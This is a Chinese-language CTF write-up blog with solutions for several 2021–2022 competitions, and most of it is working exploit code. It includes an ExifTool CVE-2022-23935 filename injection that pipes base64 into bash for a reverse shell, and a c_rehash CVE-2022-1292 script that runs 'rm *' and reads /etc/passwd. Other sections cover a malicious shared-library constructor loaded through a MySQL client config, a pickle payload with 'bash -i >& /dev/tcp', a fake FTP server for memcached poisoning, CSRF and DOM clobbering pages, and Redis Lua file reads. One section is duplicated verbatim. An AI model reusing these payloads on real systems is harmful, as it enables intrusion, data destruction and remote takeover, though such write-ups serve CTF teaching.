 "username=L111,locale=en", ",username=admin", i)
 print(res)
 sign = res[0]
 userstr = res[1]
 cookie = b64encode(userstr+b'|'+sign.encode())
 print(cookie)
 return cookie.decode()

def fuck():
 for i in range(15,40):
 print(i)
 exp = gencookie(i)
 req(exp)
fuck()

[web]Dumb Forum

有一个ssti 注册邮箱处

t{{url_for.__globals__.os.environ}}@qq.com

没能RCE 从环境变量中拿到flag

[misc] Placey

头像处有上传点，上传报错得到ExifTool 12.37 CVE-2022-23935

构造filename=L1ao;cmd |可执行命令但是很多东西都没有

Content-Disposition: form-data; name="avatar"; filename="97341154_p0_master21200.jpg;echo base64==|base64 -d|bash -i |"

反弹shell

打redis https://www.adminxe.com/3620.html

1
2
3
4
5
6
7


appuser@placey2:/root/quart$ redis-cli -h 127.0.0.1
redis-cli -h 127.0.0.1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0
Linux placey2 5.10.112-108.499.amzn2.x86_64 #1 SMP Wed Apr 27 23:39:40 UTC 2022 x86_64 GNU/Linux

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/flag.txt", "r"); local res = f:read("*a"); f:close(); return res' 0
ptm{th3r3_w1ll_n3v3r_b3_@_pl@c3y_l1k3_h0m3y}

CISCN

[web]ezpop

web签到题

网上直接有链子，如果网上没有话也不至于签到…

https://m.freebuf.com/vuls/321546.html

[web]online_crt

uri可控，可以伪造任意http请求头

学点go c.Request.URL.RawPath 给请求头斜杆任意一个编个码，不然这个就为空

最好本地测试

然后就是考 c_rehash 这个的 CVE-2022-1292

网上没有现成的poc 找到一个 https://www.bilibili.com/video/BV1P54y1Z7S6/

但是这个用 && 如果前面命令失败就不会执行后面的命令所以改成用 ; 只需要一个证书即可

也可以自己分析一下，像我这么菜都看得懂了

perl里面反引号 ` 会执行命令

定位一下

1
2
3
4


my ($hash, $fprint) = `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;
# 如果我们的文件名为 be3862b0-6e41-448e-b30a-e627dda06cac.crt";ls>1;echo ".crt
# 就会执行这个命令 "$openssl" x509 $x509hash -fingerprint -noout -in "be3862b0-6e41-448e-b30a-e627dda06cac.crt";ls>1;echo ".crt"
# 上面命令里的其他变量我没写..$openssl $x509hash 

还有一点就是重命名的话最好base64 编码一下，不然如果有 / 的会导致rename失败

还得注意你的payload 如果你把你的命令输出到static文件夹下的话，要注意文件内容是否有被其他命令覆盖了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58


#!/usr/bin/python3
import requests
from urllib.parse import quote
import base64

def gen_crt(target_url): # 生成一个证书
 dataa = {
 "City":"CN",
 "CommonName":"CN&Country",
 "CN&EmailAddress":"CN%40CN.CN",
 "OrganizationalName":"CN",
 "Province":"CN",
 "submit":""
 }
 r = requests.post(url=target_url+"getcrt",data=dataa)
 c1 = r.text[11:]
 print(c1)
 return c1

def rname(fname,target_url,cmd): # 重命名这个证书
 rname_url = target_url + "proxy"
 command = fname + '";{};echo ".crt'.format(cmd)
 command = quote(command, 'utf-8')

 uri = """/admin%2Frename?oldname={}&newname={} HTTP/1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

x=""".format(fname,command) # 构造任意http包 

 # print(uri)
 dataa = {
 "uri":uri
 }
 r = requests.get(url=rname_url,data=dataa)
 # print(r.text)
 
def rce(rce_url):
 rcee_url = rce_url + "createlink"
 r = requests.get(url = rcee_url)
 res_url = rce_url + "static/crt/1" # 这里我把命令结果输出到1里面...
 r = requests.get(url = res_url)
 print(r.text)
 
if __name__ == "__main__":
 url = "http://1.14.71.254:28981/"

 cmd = "rm *;cat /etc/passwd > 1" # rename 时候不能有 / 因为有 / 会有目录bug 可以使用base编码 还要bug的原因是可能命令重叠了
 base_cmd = f"echo {base64.b64encode(cmd.encode()).decode()}|base64 -d|bash -i" # 对命令进行base64编码
 print(base_cmd)
 cmd = base_cmd

 fname = gen_crt(url)
 rname(fname,url,cmd)
 rce(url)

ACTF

[web]myclient

mysqli_options 可控

https://www.php.net/manual/zh/mysqli.options.php

设置 MYSQLI_INIT_COMMAND 执行任意sql语句

设置 MYSQLI_READ_DEFAULT_FILE 可以从指定的文件中读取客户端配置选项

写入一个恶意so文件和一个自定义客户端配置然后加载客户端配置会去加载自定义plugin.so实现客户端rce

https://dev.mysql.com/doc/c-api/5.7/en/c-api-plugin-interface.html

a client that supports the use of authentication plugins normally causes a plugin to be loaded by calling mysql_options() to set the MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options:

恶意so生成

#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void)
{
 system("touch /tmp/pwned");
}
//# gcc evil450.c -o evil450.so --shared -fPIC

//mmmmy.cnf
[client]#
plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e #
default_auth=evil450 #
default_authentication_plugin = evil450 #
default_authentication = evil450 #
init-command=SELECT 0x(恶意so的十六进制) INTO DUMPFILE "/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so";#

mysql写文件把mmmmy.cnf 写入 /tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf 然后访问

http://ip:port/index.php?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf

执行任意命令

文件分块传输，最后用sql语句拼接，exp:

mysql 写文件会在行末加 \ 注意截取别吞byte 会导致so损坏

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


import requests
url = "http://124.71.205.170:10047/index.php"
payload = []
with open("res1.txt","r") as f:#res1.txt 是 mmmmy.cnf文件的十六进制
 file_data = f.read()
i = 0
j = 0
while i < len(file_data):
 if i + 1000 > len(file_data):
 values = file_data[i:]
 else:
 values = file_data[i:i + 1000]
 i = i + 1000
 j = j + 1
 payload+=[values]
#分块长度，1000个十六进制，500个字符
length = int(500)
#生成分块文件的sql语句
filenames = []
i=0
for v in payload:
 filename = "/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS"+str(i)
 filenames += [filename]
 sql = "select 0x"+v+" into outfile '"+filename+"'"
 print(sql)
 i+=1
 params = {
 "key" : 3,
 "value" : sql
 }
 resp = requests.get(url,params)
 print(resp.text)
#文件合并
sqlinit = "select 0x"+payload[1]+" into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1'"
params = {
 "key" : 3,
 "value" : sqlinit
 }
resp = requests.get(url,params)
i=1
for v in filenames:
 if i==len(filenames)-1:
 break
 sql2 = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i)+"'),1,"+str(length*(i))+")),(select substr(load_file('"+filenames[i+1]+"'),1,"+str(length)+"))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i+1)+"';"
 print(sql2)
 params = {
 "key": 3,
 "value": sql2
 }
 resp = requests.get(url, params)
 i += 1
sqlinit = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0'),1,505)),(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp58'),1,28582))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf';"#mysql写文件换行会在行末加 \ 注意截断，自己debug
params = {
 "key" : 3,
 "value" : sqlinit
 }
resp = requests.get(url,params)
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")

Azure Assassin Alliance CTF 2022 题解

Sun, 26 Jun 2022 00:00:00 +0000

Azure Assassin Alliance CTF 2022 题解

[web]

gogogo

https://tttang.com/archive/1399/

写一个劫持LD_PRELOAD的动态链接库

发包爆pid即可

beWhatYouWannaBe

想办法变admin

有browser

flag1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


//服务器 test.js
const app = require('express')()
const crypto = require('crypto')
const LISTEN = '0.0.0.0'
const PORT = 11224
app.set('view engine', 'ejs')
app.get('/', (req, res) => {
 var sha256 = crypto.createHash('sha256');
 var time = Date.now()-511;
 var time2 = Math.floor(time / 1000)-1;
 var time3 = Math.sin(time2).toString()
 var tooken = sha256.update(time3).digest('hex');
 console.log(`time:${time}`);
 console.log(`time2:${time2}`);
 console.log(`time3:${time3}`);
 console.log(`token:${tooken}`);
 console.log("-------------");
 res.render('test', { name: tooken })
})
app.listen(PORT, LISTEN, () => {
 console.log(`listening ${LISTEN}:${PORT}...`)
})
//test.ejs
<html>
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="http://localhost:8000/beAdmin" method="POST">
 <input type="hidden" name='username' value='liao' />
 <input type="hidden" name='csrftoken' value='<%= name %>' />
 <input type="submit" value="Submit request" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
 <h1><%= name %></h1>
</html>

flag2

page.evaluate在浏览器中执行，过滤js执行，考虑dom破坏

https://portswigger.net/research/dom-clobbering-strikes-back

来个四重的就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


index.html
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>Title</title>
</head>
<body>
<style>@import 'http://ip:port/aa';</style>
<iframe name=fff srcdoc="
<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
</body>
</html>

pooru

直接登录admin账号，修改api为getflag

myclient

mysqli_options 可控

https://www.php.net/manual/zh/mysqli.options.php

设置 MYSQLI_INIT_COMMAND 执行任意sql语句

设置 MYSQLI_READ_DEFAULT_FILE 可以从指定的文件中读取客户端配置选项

写入一个恶意so文件和一个自定义客户端配置然后加载客户端配置会去加载自定义plugin.so实现客户端rce

https://dev.mysql.com/doc/c-api/5.7/en/c-api-plugin-interface.html

a client that supports the use of authentication plugins normally causes a plugin to be loaded by calling mysql_options() to set the MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options:

恶意so生成

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


#define _GNU_SOURCE

#include <stdlib.h>

__attribute__ ((__constructor__)) void preload (void)
{
 system("touch /tmp/pwned");
}

//# gcc evil450.c -o evil450.so --shared -fPIC

//mmmmy.cnf
[client]#
plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e #
default_auth=evil450 #
default_authentication_plugin = evil450 #
default_authentication = evil450 #
init-command=SELECT 0x(恶意so的十六进制) INTO DUMPFILE "/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so";#

mysql写文件把mmmmy.cnf 写入 /tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf 然后访问

http://ip:port/index.php?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf

执行任意命令

文件分块传输，最后用sql语句拼接，exp:

mysql 写文件会在行末加 \ 注意截取别吞byte 会导致so损坏

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


import requests
url = "http://124.71.205.170:10047/index.php"
payload = []
with open("res1.txt","r") as f:#res1.txt 是 mmmmy.cnf文件的十六进制
 file_data = f.read()
i = 0
j = 0
while i < len(file_data):
 if i + 1000 > len(file_data):
 values = file_data[i:]
 else:
 values = file_data[i:i + 1000]
 i = i + 1000
 j = j + 1
 payload+=[values]
#分块长度，1000个十六进制，500个字符
length = int(500)
#生成分块文件的sql语句
filenames = []
i=0
for v in payload:
 filename = "/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS"+str(i)
 filenames += [filename]
 sql = "select 0x"+v+" into outfile '"+filename+"'"
 print(sql)
 i+=1
 params = {
 "key" : 3,
 "value" : sql
 }
 resp = requests.get(url,params)
 print(resp.text)
#文件合并
sqlinit = "select 0x"+payload[1]+" into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1'"
params = {
 "key" : 3,
 "value" : sqlinit
 }
resp = requests.get(url,params)
i=1
for v in filenames:
 if i==len(filenames)-1:
 break
 sql2 = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i)+"'),1,"+str(length*(i))+")),(select substr(load_file('"+filenames[i+1]+"'),1,"+str(length)+"))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i+1)+"';"
 print(sql2)
 params = {
 "key": 3,
 "value": sql2
 }
 resp = requests.get(url, params)
 i += 1
sqlinit = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0'),1,505)),(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp58'),1,28582))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf';"#mysql写文件换行会在行末加 \ 注意截断，自己debug
params = {
 "key" : 3,
 "value" : sqlinit
 }
resp = requests.get(url,params)
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")

ToLeSion

用ftps协议进行tls投毒，打memcached

开一个tls恶意服务端，将上层流量转给2048端口开的恶意vsftpd服务

tls恶意服务端：

custom-tls -p 11200 --certs /root/tls/fullchain.pem --key /root/tls/privkey.pem forward 2048

恶意vsftpd服务：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


#exp.py
#!/usr/bin/env python3
import socketserver, threading,sys


class MyTCPHandler(socketserver.StreamRequestHandler):
 def handle(self):
 print('[+] connected', self.request, file=sys.stderr)
 print('send 1')
 self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')


 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr,flush=True)
 print('send 2')
 self.request.sendall(b'230 Login successful.\r\n')


 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr)
 print('send3')
 self.request.sendall(b'200 yolo\r\n')


 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr)
 print('send4')
 self.request.sendall(b'200 yolo\r\n')


 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr)
 print('send5')
 self.request.sendall(b'257 "/" is the current directory\r\n')


 # self.data = self.rfile.readline().strip().decode()
 # print(self.data, file=sys.stderr)
 # print('send 6')
 # self.request.sendall(b'250 Directory successfully changed.\r\n')
 


 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr)
 print('send 6')
 self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192).\r\n')
 # self.request.sendall(b'229 Entering Extended Passive Mode (|||10017|)\r\n')
 
 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr)
 print('send 7')
 #self.request.sendall(b'229 Entering Extended Passive Mode (|||11200|)\r\n')
 self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192).\r\n')
 import time
 #time.sleep(1)
 self.data = self.rfile.readline().strip().decode()
 print('send 8')
 print(self.data, file=sys.stderr)
 self.request.sendall(b'200 Switching to Binary mode.\r\n')


 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr)
 print('send 9')
 self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')


 self.data = self.rfile.readline().strip().decode()
 print(self.data, file=sys.stderr)
 print('send 10')
 # 226 Transfer complete.
 self.request.sendall(b'250 Requested file action okay, completed.')
 exit()


def ftp_worker():
 with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
 while True:
 server.handle_request()
threading.Thread(target=ftp_worker).start()

然后访问http://123.60.131.135:10023/?url=ftps://domain.com:11200/即可写入memchached

memcached pickle反序列化rce

pickel生成：

1
2
3
4
5
6
7
8


import pickle 
import os
from memcache import Client 
victim = "127.0.0.1" 
class RCE: 
 def __reduce__(self): 
 cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" 
 return os.system, (cmd,) mc = Client(['127.0.0.1:11200']) mc.set("actfSession:you_have_been_pwned", pickle.dumps(RCE())) print(mc.get("actfSession:450450450

携带cookie访问flask即可反弹shell

Cookie: BD_UPN=12314753; session=450450450

ImaginaryCTF 2021 题解

Sun, 15 Aug 2021 00:00:00 +0000

ImaginaryCTF 2021 题解

Roos World

https://roos-world.chal.imaginaryctf.org

[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(+[![]]+[])[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[+[]]+(+[![]]+[])[+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]